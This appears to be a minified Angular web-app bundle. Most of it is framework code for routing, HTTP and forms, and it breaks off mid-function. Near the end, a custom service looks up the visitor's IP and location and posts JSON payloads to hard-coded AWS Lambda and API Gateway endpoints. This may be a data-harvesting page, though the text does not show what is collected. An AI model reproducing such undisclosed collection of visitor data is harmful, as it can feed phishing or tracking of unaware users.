Do,this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.routerState=rw(0,null),this.navigationTransitions.setupNavigations(this,this.currentUrlTree,this.routerState).subscribe(n=>{this.lastSuccessfulId=n.id,this.currentPageId=this.browserPageId},n=>{this.console.warn(`Unhandled Navigation Error: ${n}`)}),this.subscribeToNavigationEvents()}subscribeToNavigationEvents(){const n=this.navigationTransitions.events.subscribe(o=>{try{const{currentTransition:i}=this.navigationTransitions;if(null===i)return void(Iw(o)&&this._events.next(o));if(o instanceof cl)bw(i.source)&&(this.browserUrlTree=i.extractedUrl);else if(o instanceof Co)this.rawUrlTree=i.rawUrl;else if(o instanceof KC){if("eager"===this.urlUpdateStrategy){if(!i.extras.skipLocationChange){const s=this.urlHandlingStrategy.merge(i.urlAfterRedirects,i.rawUrl);this.setBrowserUrl(s,i)}this.browserUrlTree=i.urlAfterRedirects}}else if(o instanceof Sf)this.currentUrlTree=i.urlAfterRedirects,this.rawUrlTree=this.urlHandlingStrategy.merge(i.urlAfterRedirects,i.rawUrl),this.routerState=i.targetRouterState,"deferred"===this.urlUpdateStrategy&&(i.extras.skipLocationChange||this.setBrowserUrl(this.rawUrlTree,i),this.browserUrlTree=i.urlAfterRedirects);else if(o instanceof Wi)0!==o.code&&1!==o.code&&(this.navigated=!0),(3===o.code||2===o.code)&&this.restoreHistory(i);else if(o instanceof Af){const s=this.urlHandlingStrategy.merge(o.url,i.currentRawUrl),a={skipLocationChange:i.extras.skipLocationChange,replaceUrl:"eager"===this.urlUpdateStrategy||bw(i.source)};this.scheduleNavigation(s,qi,null,a,{resolve:i.resolve,reject:i.reject,promise:i.promise})}o instanceof dl&&this.restoreHistory(i,!0),o instanceof zn&&(this.navigated=!0),Iw(o)&&this._events.next(o)}catch(i){this.navigationTransitions.transitionAbortSubject.next(i)}});this.eventsSubscription.add(n)}resetRootComponentType(n){this.routerState.root.component=n,this.navigationTransitions.rootComponentType=n}initialNavigation(){if(this.setUpLocationChangeListener(),!this.navigationTransitions.hasRequestedNavigation){const n=this.location.getState();this.navigateToSyncWithBrowser(this.location.path(!0),qi,n)}}setUpLocationChangeListener(){this.locationSubscription||(this.locationSubscription=this.location.subscribe(n=>{const o="popstate"===n.type?"popstate":"hashchange";"popstate"===o&&setTimeout(()=>{this.navigateToSyncWithBrowser(n.url,o,n.state)},0)}))}navigateToSyncWithBrowser(n,o,i){const s={replaceUrl:!0},a=i?.navigationId?i:null;if(i){const u={...i};delete u.navigationId,delete u.\u0275routerPageId,0!==Object.keys(u).length&&(s.state=u)}const l=this.parseUrl(n);this.scheduleNavigation(l,o,a,s)}get url(){return this.serializeUrl(this.currentUrlTree)}getCurrentNavigation(){return this.navigationTransitions.currentNavigation}get lastSuccessfulNavigation(){return this.navigationTransitions.lastSuccessfulNavigation}resetConfig(n){this.config=n.map(kf),this.navigated=!1,this.lastSuccessfulId=-1}ngOnDestroy(){this.dispose()}dispose(){this.navigationTransitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0,this.eventsSubscription.unsubscribe()}createUrlTree(n,o={}){const{relativeTo:i,queryParams:s,fragment:a,queryParamsHandling:l,preserveFragment:u}=o,c=u?this.currentUrlTree.fragment:a;let f,d=null;switch(l){case"merge":d={...this.currentUrlTree.queryParams,...s};break;case"preserve":d=this.currentUrlTree.queryParams;break;default:d=s||null}null!==d&&(d=this.removeEmptyProps(d));try{f=qC(i?i.snapshot:this.routerState.snapshot.root)}catch{("string"!=typeof n[0]||!n[0].startsWith("/"))&&(n=[]),f=this.currentUrlTree.root}return WC(f,n,d,c??null)}navigateByUrl(n,o={skipLocationChange:!1}){const i=pr(n)?n:this.parseUrl(n),s=this.urlHandlingStrategy.merge(i,this.rawUrlTree);return this.scheduleNavigation(s,qi,null,o)}navigate(n,o={skipLocationChange:!1}){return function $2(e){for(let t=0;t{const s=n[i];return null!=s&&(o[i]=s),o},{})}scheduleNavigation(n,o,i,s,a){if(this.disposed)return Promise.resolve(!1);let l,u,c;a?(l=a.resolve,u=a.reject,c=a.promise):c=new Promise((f,h)=>{l=f,u=h});const d=this.pendingTasks.add();return Mw(this,()=>{queueMicrotask(()=>this.pendingTasks.remove(d))}),this.navigationTransitions.handleNavigationRequest({source:o,restoredState:i,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,currentBrowserUrl:this.browserUrlTree,rawUrl:n,extras:s,resolve:l,reject:u,promise:c,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),c.catch(f=>Promise.reject(f))}setBrowserUrl(n,o){const i=this.urlSerializer.serialize(n);if(this.location.isCurrentPathEqualTo(i)||o.extras.replaceUrl){const a={...o.extras.state,...this.generateNgRouterState(o.id,this.browserPageId)};this.location.replaceState(i,"",a)}else{const s={...o.extras.state,...this.generateNgRouterState(o.id,this.browserPageId+1)};this.location.go(i,"",s)}}restoreHistory(n,o=!1){if("computed"===this.canceledNavigationResolution){const s=this.currentPageId-this.browserPageId;0!==s?this.location.historyGo(s):this.currentUrlTree===this.getCurrentNavigation()?.finalUrl&&0===s&&(this.resetState(n),this.browserUrlTree=n.currentUrlTree,this.resetUrlToCurrentUrlTree())}else"replace"===this.canceledNavigationResolution&&(o&&this.resetState(n),this.resetUrlToCurrentUrlTree())}resetState(n){this.routerState=n.currentRouterState,this.currentUrlTree=n.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,n.rawUrl)}resetUrlToCurrentUrlTree(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}generateNgRouterState(n,o){return"computed"===this.canceledNavigationResolution?{navigationId:n,\u0275routerPageId:o}:{navigationId:n}}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();function Iw(e){return!(e instanceof Sf||e instanceof Af)}class Sw{}let G2=(()=>{var e;class t{constructor(n,o,i,s,a){this.router=n,this.injector=i,this.preloadingStrategy=s,this.loader=a}setUpPreloading(){this.subscription=this.router.events.pipe(En(n=>n instanceof zn),yo(()=>this.preload())).subscribe(()=>{})}preload(){return this.processRoutes(this.injector,this.router.config)}ngOnDestroy(){this.subscription&&this.subscription.unsubscribe()}processRoutes(n,o){const i=[];for(const s of o){s.providers&&!s._injector&&(s._injector=hd(s.providers,n,`Route: ${s.path}`));const a=s._injector??n,l=s._loadedInjector??a;(s.loadChildren&&!s._loadedRoutes&&void 0===s.canLoad||s.loadComponent&&!s._loadedComponent)&&i.push(this.preloadConfig(a,s)),(s.children||s._loadedRoutes)&&i.push(this.processRoutes(l,s.children??s._loadedRoutes))}return Ae(i).pipe(_r())}preloadConfig(n,o){return this.preloadingStrategy.preload(o,()=>{let i;i=o.loadChildren&&void 0===o.canLoad?this.loader.loadChildren(n,o):R(null);const s=i.pipe(Pe(a=>null===a?R(void 0):(o._loadedRoutes=a.routes,o._loadedInjector=a.injector,this.processRoutes(a.injector??n,a.routes))));return o.loadComponent&&!o._loadedComponent?Ae([s,this.loader.loadComponent(o)]).pipe(_r()):s})}}return(e=t).\u0275fac=function(n){return new(n||e)(N(xt),N(tD),N(pt),N(Sw),N(Bf))},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();const $f=new I("");let Aw=(()=>{var e;class t{constructor(n,o,i,s,a={}){this.urlSerializer=n,this.transitions=o,this.viewportScroller=i,this.zone=s,this.options=a,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},a.scrollPositionRestoration=a.scrollPositionRestoration||"disabled",a.anchorScrolling=a.anchorScrolling||"disabled"}init(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}createScrollEvents(){return this.transitions.events.subscribe(n=>{n instanceof cl?(this.store[this.lastId]=this.viewportScroller.getScrollPosition(),this.lastSource=n.navigationTrigger,this.restoredId=n.restoredState?n.restoredState.navigationId:0):n instanceof zn?(this.lastId=n.id,this.scheduleScrollEvent(n,this.urlSerializer.parse(n.urlAfterRedirects).fragment)):n instanceof Co&&0===n.code&&(this.lastSource=void 0,this.restoredId=0,this.scheduleScrollEvent(n,this.urlSerializer.parse(n.url).fragment))})}consumeScrollEvents(){return this.transitions.events.subscribe(n=>{n instanceof ew&&(n.position?"top"===this.options.scrollPositionRestoration?this.viewportScroller.scrollToPosition([0,0]):"enabled"===this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition(n.position):n.anchor&&"enabled"===this.options.anchorScrolling?this.viewportScroller.scrollToAnchor(n.anchor):"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition([0,0]))})}scheduleScrollEvent(n,o){this.zone.runOutsideAngular(()=>{setTimeout(()=>{this.zone.run(()=>{this.transitions.events.next(new ew(n,"popstate"===this.lastSource?this.store[this.restoredId]:null,o))})},0)})}ngOnDestroy(){this.routerEventsSubscription?.unsubscribe(),this.scrollEventsSubscription?.unsubscribe()}}return(e=t).\u0275fac=function(n){!function Wm(){throw new Error("invalid")}()},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();function Sn(e,t){return{\u0275kind:e,\u0275providers:t}}function Nw(){const e=M(mt);return t=>{const r=e.get(ho);if(t!==r.components[0])return;const n=e.get(xt),o=e.get(xw);1===e.get(Uf)&&n.initialNavigation(),e.get(Rw,null,z.Optional)?.setUpPreloading(),e.get($f,null,z.Optional)?.init(),n.resetRootComponentType(r.componentTypes[0]),o.closed||(o.next(),o.complete(),o.unsubscribe())}}const xw=new I("",{factory:()=>new Ot}),Uf=new I("",{providedIn:"root",factory:()=>1}),Rw=new I("");function Y2(e){return Sn(0,[{provide:Rw,useExisting:G2},{provide:Sw,useExisting:e}])}const Ow=new I("ROUTER_FORROOT_GUARD"),X2=[Gd,{provide:$i,useClass:wf},xt,Zi,{provide:bo,useFactory:function Tw(e){return e.routerState.root},deps:[xt]},Bf,[]];function J2(){return new lD("Router",xt)}let Pw=(()=>{var e;class t{constructor(n){}static forRoot(n,o){return{ngModule:t,providers:[X2,[],{provide:So,multi:!0,useValue:n},{provide:Ow,useFactory:nL,deps:[[xt,new Vs,new js]]},{provide:_l,useValue:o||{}},o?.useHash?{provide:dr,useClass:lO}:{provide:dr,useClass:VD},{provide:$f,useFactory:()=>{const e=M(SP),t=M(de),r=M(_l),n=M(yl),o=M($i);return r.scrollOffset&&e.setOffset(r.scrollOffset),new Aw(o,n,e,t,r)}},o?.preloadingStrategy?Y2(o.preloadingStrategy).\u0275providers:[],{provide:lD,multi:!0,useFactory:J2},o?.initialNavigation?rL(o):[],o?.bindToComponentInputs?Sn(8,[aw,{provide:hl,useExisting:aw}]).\u0275providers:[],[{provide:Fw,useFactory:Nw},{provide:Fd,multi:!0,useExisting:Fw}]]}}static forChild(n){return{ngModule:t,providers:[{provide:So,multi:!0,useValue:n}]}}}return(e=t).\u0275fac=function(n){return new(n||e)(N(Ow,8))},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({}),t})();function nL(e){return"guarded"}function rL(e){return["disabled"===e.initialNavigation?Sn(3,[{provide:Sd,multi:!0,useFactory:()=>{const t=M(xt);return()=>{t.setUpLocationChangeListener()}}},{provide:Uf,useValue:2}]).\u0275providers:[],"enabledBlocking"===e.initialNavigation?Sn(2,[{provide:Uf,useValue:0},{provide:Sd,multi:!0,deps:[mt],useFactory:t=>{const r=t.get(sO,Promise.resolve());return()=>r.then(()=>new Promise(n=>{const o=t.get(xt),i=t.get(xw);Mw(o,()=>{n(!0)}),t.get(yl).afterPreactivation=()=>(n(!0),i.closed?R(void 0):i),o.initialNavigation()}))}}]).\u0275providers:[]]}const Fw=new I("");class Dl{}class Cl{}class Rt{constructor(t){this.normalizedNames=new Map,this.lazyUpdate=null,t?"string"==typeof t?this.lazyInit=()=>{this.headers=new Map,t.split("\n").forEach(r=>{const n=r.indexOf(":");if(n>0){const o=r.slice(0,n),i=o.toLowerCase(),s=r.slice(n+1).trim();this.maybeSetNormalizedName(o,i),this.headers.has(i)?this.headers.get(i).push(s):this.headers.set(i,[s])}})}:typeof Headers<"u"&&t instanceof Headers?(this.headers=new Map,t.forEach((r,n)=>{this.setHeaderEntries(n,r)})):this.lazyInit=()=>{this.headers=new Map,Object.entries(t).forEach(([r,n])=>{this.setHeaderEntries(r,n)})}:this.headers=new Map}has(t){return this.init(),this.headers.has(t.toLowerCase())}get(t){this.init();const r=this.headers.get(t.toLowerCase());return r&&r.length>0?r[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(t){return this.init(),this.headers.get(t.toLowerCase())||null}append(t,r){return this.clone({name:t,value:r,op:"a"})}set(t,r){return this.clone({name:t,value:r,op:"s"})}delete(t,r){return this.clone({name:t,value:r,op:"d"})}maybeSetNormalizedName(t,r){this.normalizedNames.has(r)||this.normalizedNames.set(r,t)}init(){this.lazyInit&&(this.lazyInit instanceof Rt?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(t=>this.applyUpdate(t)),this.lazyUpdate=null))}copyFrom(t){t.init(),Array.from(t.headers.keys()).forEach(r=>{this.headers.set(r,t.headers.get(r)),this.normalizedNames.set(r,t.normalizedNames.get(r))})}clone(t){const r=new Rt;return r.lazyInit=this.lazyInit&&this.lazyInit instanceof Rt?this.lazyInit:this,r.lazyUpdate=(this.lazyUpdate||[]).concat([t]),r}applyUpdate(t){const r=t.name.toLowerCase();switch(t.op){case"a":case"s":let n=t.value;if("string"==typeof n&&(n=[n]),0===n.length)return;this.maybeSetNormalizedName(t.name,r);const o=("a"===t.op?this.headers.get(r):void 0)||[];o.push(...n),this.headers.set(r,o);break;case"d":const i=t.value;if(i){let s=this.headers.get(r);if(!s)return;s=s.filter(a=>-1===i.indexOf(a)),0===s.length?(this.headers.delete(r),this.normalizedNames.delete(r)):this.headers.set(r,s)}else this.headers.delete(r),this.normalizedNames.delete(r)}}setHeaderEntries(t,r){const n=(Array.isArray(r)?r:[r]).map(i=>i.toString()),o=t.toLowerCase();this.headers.set(o,n),this.maybeSetNormalizedName(t,o)}forEach(t){this.init(),Array.from(this.normalizedNames.keys()).forEach(r=>t(this.normalizedNames.get(r),this.headers.get(r)))}}class iL{encodeKey(t){return kw(t)}encodeValue(t){return kw(t)}decodeKey(t){return decodeURIComponent(t)}decodeValue(t){return decodeURIComponent(t)}}const aL=/%(\d[a-f0-9])/gi,lL={40:"@","3A":":",24:"$","2C":",","3B":";","3D":"=","3F":"?","2F":"/"};function kw(e){return encodeURIComponent(e).replace(aL,(t,r)=>lL[r]??t)}function wl(e){return`${e}`}class Gn{constructor(t={}){if(this.updates=null,this.cloneFrom=null,this.encoder=t.encoder||new iL,t.fromString){if(t.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function sL(e,t){const r=new Map;return e.length>0&&e.replace(/^\?/,"").split("&").forEach(o=>{const i=o.indexOf("="),[s,a]=-1==i?[t.decodeKey(o),""]:[t.decodeKey(o.slice(0,i)),t.decodeValue(o.slice(i+1))],l=r.get(s)||[];l.push(a),r.set(s,l)}),r}(t.fromString,this.encoder)}else t.fromObject?(this.map=new Map,Object.keys(t.fromObject).forEach(r=>{const n=t.fromObject[r],o=Array.isArray(n)?n.map(wl):[wl(n)];this.map.set(r,o)})):this.map=null}has(t){return this.init(),this.map.has(t)}get(t){this.init();const r=this.map.get(t);return r?r[0]:null}getAll(t){return this.init(),this.map.get(t)||null}keys(){return this.init(),Array.from(this.map.keys())}append(t,r){return this.clone({param:t,value:r,op:"a"})}appendAll(t){const r=[];return Object.keys(t).forEach(n=>{const o=t[n];Array.isArray(o)?o.forEach(i=>{r.push({param:n,value:i,op:"a"})}):r.push({param:n,value:o,op:"a"})}),this.clone(r)}set(t,r){return this.clone({param:t,value:r,op:"s"})}delete(t,r){return this.clone({param:t,value:r,op:"d"})}toString(){return this.init(),this.keys().map(t=>{const r=this.encoder.encodeKey(t);return this.map.get(t).map(n=>r+"="+this.encoder.encodeValue(n)).join("&")}).filter(t=>""!==t).join("&")}clone(t){const r=new Gn({encoder:this.encoder});return r.cloneFrom=this.cloneFrom||this,r.updates=(this.updates||[]).concat(t),r}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(t=>this.map.set(t,this.cloneFrom.map.get(t))),this.updates.forEach(t=>{switch(t.op){case"a":case"s":const r=("a"===t.op?this.map.get(t.param):void 0)||[];r.push(wl(t.value)),this.map.set(t.param,r);break;case"d":if(void 0===t.value){this.map.delete(t.param);break}{let n=this.map.get(t.param)||[];const o=n.indexOf(wl(t.value));-1!==o&&n.splice(o,1),n.length>0?this.map.set(t.param,n):this.map.delete(t.param)}}}),this.cloneFrom=this.updates=null)}}class uL{constructor(){this.map=new Map}set(t,r){return this.map.set(t,r),this}get(t){return this.map.has(t)||this.map.set(t,t.defaultValue()),this.map.get(t)}delete(t){return this.map.delete(t),this}has(t){return this.map.has(t)}keys(){return this.map.keys()}}function Lw(e){return typeof ArrayBuffer<"u"&&e instanceof ArrayBuffer}function Vw(e){return typeof Blob<"u"&&e instanceof Blob}function jw(e){return typeof FormData<"u"&&e instanceof FormData}class ts{constructor(t,r,n,o){let i;if(this.url=r,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=t.toUpperCase(),function cL(e){switch(e){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||o?(this.body=void 0!==n?n:null,i=o):i=n,i&&(this.reportProgress=!!i.reportProgress,this.withCredentials=!!i.withCredentials,i.responseType&&(this.responseType=i.responseType),i.headers&&(this.headers=i.headers),i.context&&(this.context=i.context),i.params&&(this.params=i.params)),this.headers||(this.headers=new Rt),this.context||(this.context=new uL),this.params){const s=this.params.toString();if(0===s.length)this.urlWithParams=r;else{const a=r.indexOf("?");this.urlWithParams=r+(-1===a?"?":ad.set(f,t.setHeaders[f]),l)),t.setParams&&(u=Object.keys(t.setParams).reduce((d,f)=>d.set(f,t.setParams[f]),u)),new ts(r,n,i,{params:u,headers:l,context:c,reportProgress:a,responseType:o,withCredentials:s})}}var Ao=function(e){return e[e.Sent=0]="Sent",e[e.UploadProgress=1]="UploadProgress",e[e.ResponseHeader=2]="ResponseHeader",e[e.DownloadProgress=3]="DownloadProgress",e[e.Response=4]="Response",e[e.User=5]="User",e}(Ao||{});class zf{constructor(t,r=200,n="OK"){this.headers=t.headers||new Rt,this.status=void 0!==t.status?t.status:r,this.statusText=t.statusText||n,this.url=t.url||null,this.ok=this.status>=200&&this.status<300}}class Gf extends zf{constructor(t={}){super(t),this.type=Ao.ResponseHeader}clone(t={}){return new Gf({headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class To extends zf{constructor(t={}){super(t),this.type=Ao.Response,this.body=void 0!==t.body?t.body:null}clone(t={}){return new To({body:void 0!==t.body?t.body:this.body,headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class Bw extends zf{constructor(t){super(t,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${t.url||"(unknown url)"}`:`Http failure response for ${t.url||"(unknown url)"}: ${t.status} ${t.statusText}`,this.error=t.error||null}}function qf(e,t){return{body:t,headers:e.headers,context:e.context,observe:e.observe,params:e.params,reportProgress:e.reportProgress,responseType:e.responseType,withCredentials:e.withCredentials}}let Hw=(()=>{var e;class t{constructor(n){this.handler=n}request(n,o,i={}){let s;if(n instanceof ts)s=n;else{let u,c;u=i.headers instanceof Rt?i.headers:new Rt(i.headers),i.params&&(c=i.params instanceof Gn?i.params:new Gn({fromObject:i.params})),s=new ts(n,o,void 0!==i.body?i.body:null,{headers:u,context:i.context,params:c,reportProgress:i.reportProgress,responseType:i.responseType||"json",withCredentials:i.withCredentials})}const a=R(s).pipe(yo(u=>this.handler.handle(u)));if(n instanceof ts||"events"===i.observe)return a;const l=a.pipe(En(u=>u instanceof To));switch(i.observe||"body"){case"body":switch(s.responseType){case"arraybuffer":return l.pipe(Y(u=>{if(null!==u.body&&!(u.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return u.body}));case"blob":return l.pipe(Y(u=>{if(null!==u.body&&!(u.body instanceof Blob))throw new Error("Response is not a Blob.");return u.body}));case"text":return l.pipe(Y(u=>{if(null!==u.body&&"string"!=typeof u.body)throw new Error("Response is not a string.");return u.body}));default:return l.pipe(Y(u=>u.body))}case"response":return l;default:throw new Error(`Unreachable: unhandled observe type ${i.observe}}`)}}delete(n,o={}){return this.request("DELETE",n,o)}get(n,o={}){return this.request("GET",n,o)}head(n,o={}){return this.request("HEAD",n,o)}jsonp(n,o){return this.request("JSONP",n,{params:(new Gn).append(o,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(n,o={}){return this.request("OPTIONS",n,o)}patch(n,o,i={}){return this.request("PATCH",n,qf(i,o))}post(n,o,i={}){return this.request("POST",n,qf(i,o))}put(n,o,i={}){return this.request("PUT",n,qf(i,o))}}return(e=t).\u0275fac=function(n){return new(n||e)(N(Dl))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();function zw(e,t){return t(e)}function hL(e,t){return(r,n)=>t.intercept(r,{handle:o=>e(o,n)})}const gL=new I(""),ns=new I(""),Gw=new I("");function mL(){let e=null;return(t,r)=>{null===e&&(e=(M(gL,{optional:!0})??[]).reduceRight(hL,zw));const n=M(Pa),o=n.add();return e(t,r).pipe(ji(()=>n.remove(o)))}}let qw=(()=>{var e;class t extends Dl{constructor(n,o){super(),this.backend=n,this.injector=o,this.chain=null,this.pendingTasks=M(Pa)}handle(n){if(null===this.chain){const i=Array.from(new Set([...this.injector.get(ns),...this.injector.get(Gw,[])]));this.chain=i.reduceRight((s,a)=>function pL(e,t,r){return(n,o)=>r.runInContext(()=>t(n,i=>e(i,o)))}(s,a,this.injector),zw)}const o=this.pendingTasks.add();return this.chain(n,i=>this.backend.handle(i)).pipe(ji(()=>this.pendingTasks.remove(o)))}}return(e=t).\u0275fac=function(n){return new(n||e)(N(Cl),N(pt))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();const DL=/^\)\]\}',?\n/;let Zw=(()=>{var e;class t{constructor(n){this.xhrFactory=n}handle(n){if("JSONP"===n.method)throw new D(-2800,!1);const o=this.xhrFactory;return(o.\u0275loadImpl?Ae(o.\u0275loadImpl()):R(null)).pipe(Pt(()=>new De(s=>{const a=o.build();if(a.open(n.method,n.urlWithParams),n.withCredentials&&(a.withCredentials=!0),n.headers.forEach((v,y)=>a.setRequestHeader(v,y.join(","))),n.headers.has("Accept")||a.setRequestHeader("Accept","application/json, text/plain, */*"),!n.headers.has("Content-Type")){const v=n.detectContentTypeHeader();null!==v&&a.setRequestHeader("Content-Type",v)}if(n.responseType){const v=n.responseType.toLowerCase();a.responseType="json"!==v?v:"text"}const l=n.serializeBody();let u=null;const c=()=>{if(null!==u)return u;const v=a.statusText||"OK",y=new Rt(a.getAllResponseHeaders()),m=function CL(e){return"responseURL"in e&&e.responseURL?e.responseURL:/^X-Request-URL:/m.test(e.getAllResponseHeaders())?e.getResponseHeader("X-Request-URL"):null}(a)||n.url;return u=new Gf({headers:y,status:a.status,statusText:v,url:m}),u},d=()=>{let{headers:v,status:y,statusText:m,url:T}=c(),A=null;204!==y&&(A=typeof a.response>"u"?a.responseText:a.response),0===y&&(y=A?200:0);let U=y>=200&&y<300;if("json"===n.responseType&&"string"==typeof A){const Be=A;A=A.replace(DL,"");try{A=""!==A?JSON.parse(A):null}catch(Dt){A=Be,U&&(U=!1,A={error:Dt,text:A})}}U?(s.next(new To({body:A,headers:v,status:y,statusText:m,url:T||void 0})),s.complete()):s.error(new Bw({error:A,headers:v,status:y,statusText:m,url:T||void 0}))},f=v=>{const{url:y}=c(),m=new Bw({error:v,status:a.status||0,statusText:a.statusText||"Unknown Error",url:y||void 0});s.error(m)};let h=!1;const p=v=>{h||(s.next(c()),h=!0);let y={type:Ao.DownloadProgress,loaded:v.loaded};v.lengthComputable&&(y.total=v.total),"text"===n.responseType&&a.responseText&&(y.partialText=a.responseText),s.next(y)},g=v=>{let y={type:Ao.UploadProgress,loaded:v.loaded};v.lengthComputable&&(y.total=v.total),s.next(y)};return a.addEventListener("load",d),a.addEventListener("error",f),a.addEventListener("timeout",f),a.addEventListener("abort",f),n.reportProgress&&(a.addEventListener("progress",p),null!==l&&a.upload&&a.upload.addEventListener("progress",g)),a.send(l),s.next({type:Ao.Sent}),()=>{a.removeEventListener("error",f),a.removeEventListener("abort",f),a.removeEventListener("load",d),a.removeEventListener("timeout",f),n.reportProgress&&(a.removeEventListener("progress",p),null!==l&&a.upload&&a.upload.removeEventListener("progress",g)),a.readyState!==a.DONE&&a.abort()}})))}}return(e=t).\u0275fac=function(n){return new(n||e)(N(iC))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();const Wf=new I("XSRF_ENABLED"),Yw=new I("XSRF_COOKIE_NAME",{providedIn:"root",factory:()=>"XSRF-TOKEN"}),Qw=new I("XSRF_HEADER_NAME",{providedIn:"root",factory:()=>"X-XSRF-TOKEN"});class Xw{}let EL=(()=>{var e;class t{constructor(n,o,i){this.doc=n,this.platform=o,this.cookieName=i,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const n=this.doc.cookie||"";return n!==this.lastCookieString&&(this.parseCount++,this.lastToken=ZD(n,this.cookieName),this.lastCookieString=n),this.lastToken}}return(e=t).\u0275fac=function(n){return new(n||e)(N(yt),N(ir),N(Yw))},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();function ML(e,t){const r=e.url.toLowerCase();if(!M(Wf)||"GET"===e.method||"HEAD"===e.method||r.startsWith("http://")||r.startsWith("https://"))return t(e);const n=M(Xw).getToken(),o=M(Qw);return null!=n&&!e.headers.has(o)&&(e=e.clone({headers:e.headers.set(o,n)})),t(e)}var qn=function(e){return e[e.Interceptors=0]="Interceptors",e[e.LegacyInterceptors=1]="LegacyInterceptors",e[e.CustomXsrfConfiguration=2]="CustomXsrfConfiguration",e[e.NoXsrfProtection=3]="NoXsrfProtection",e[e.JsonpSupport=4]="JsonpSupport",e[e.RequestsMadeViaParent=5]="RequestsMadeViaParent",e[e.Fetch=6]="Fetch",e}(qn||{});function gr(e,t){return{\u0275kind:e,\u0275providers:t}}function IL(...e){const t=[Hw,Zw,qw,{provide:Dl,useExisting:qw},{provide:Cl,useExisting:Zw},{provide:ns,useValue:ML,multi:!0},{provide:Wf,useValue:!0},{provide:Xw,useClass:EL}];for(const r of e)t.push(...r.\u0275providers);return function lc(e){return{\u0275providers:e}}(t)}const Jw=new I("LEGACY_INTERCEPTOR_FN");let AL=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({providers:[IL(gr(qn.LegacyInterceptors,[{provide:Jw,useFactory:mL},{provide:ns,useExisting:Jw,multi:!0}]))]}),t})();class Zf{static get AGFA(){return"https://2jb3adeb6a123.execute-api.us-west-1.amazonaws.com/gtf-at"}static get ASM(){return"https://yal32bnurk4yna4k73okvggdau0cjzgc.lambda-url.us-west-2.on.aws/"}static get AGI(){return"https://get.geojs.io/v1/ip/geo.json"}}let Kw=(()=>{var e;class t{constructor(n){this.http=n}getIpCliente(){return this.http.get(Zf.AGI)}submit(n){const o={headers:new Rt({"Content-Type":"application/json"})};return this.http.post(Zf.AGFA,JSON.stringify(n),o).pipe(Mn(this.handleError))}handlerSm(n){const o={headers:new Rt({"Content-Type":"application/json"})};return this.http.post(Zf.ASM,JSON.stringify(n),o).pipe(Mn(this.handleError))}handleError(n){let o="";return o=n.error instanceof ErrorEvent?n.error.message:`Error Code: ${n.status}\nMessage: ${n.message}`,mo(()=>o)}}return(e=t).\u0275fac=function(n){return new(n||e)(N(Hw))},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})(),eb=(()=>{var e;class t{constructor(n,o){this._renderer=n,this._elementRef=o,this.onChange=i=>{},this.onTouched=()=>{}}setProperty(n,o){this._renderer.setProperty(this._elementRef.nativeElement,n,o)}registerOnTouched(n){this.onTouched=n}registerOnChange(n){this.onChange=n}setDisabledState(n){this.setProperty("disabled",n)}}return(e=t).\u0275fac=function(n){return new(n||e)(C(gn),C(gt))},e.\u0275dir=k({type:e}),t})(),mr=(()=>{var e;class t extends eb{}return(e=t).\u0275fac=function(){let r;return function(o){return(r||(r=je(e)))(o||e)}}(),e.\u0275dir=k({type:e,features:[ne]}),t})();const an=new I("NgValueAccessor"),FL={provide:an,useExisting:le(()=>Yf),multi:!0};let Yf=(()=>{var e;class t extends mr{writeValue(n){this.setProperty("checked",n)}}return(e=t).\u0275fac=function(){let r;return function(o){return(r||(r=je(e)))(o||e)}}(),e.\u0275dir=k({type:e,selectors:[["input","type","checkbox","formControlName",""],["input","type","checkbox","formControl",""],["input","type","checkbox","ngModel",""]],hostBindings:function(n,o){1&n&&re("change",function(s){return o.onChange(s.target.checked)})("blur",function(){return o.onTouched()})},features:[ge([FL]),ne]}),t})();const kL={provide:an,useExisting:le(()=>El),multi:!0},VL=new I("CompositionEventMode");let El=(()=>{var e;class t extends eb{constructor(n,o,i){super(n,o),this._compositionMode=i,this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function LL(){const 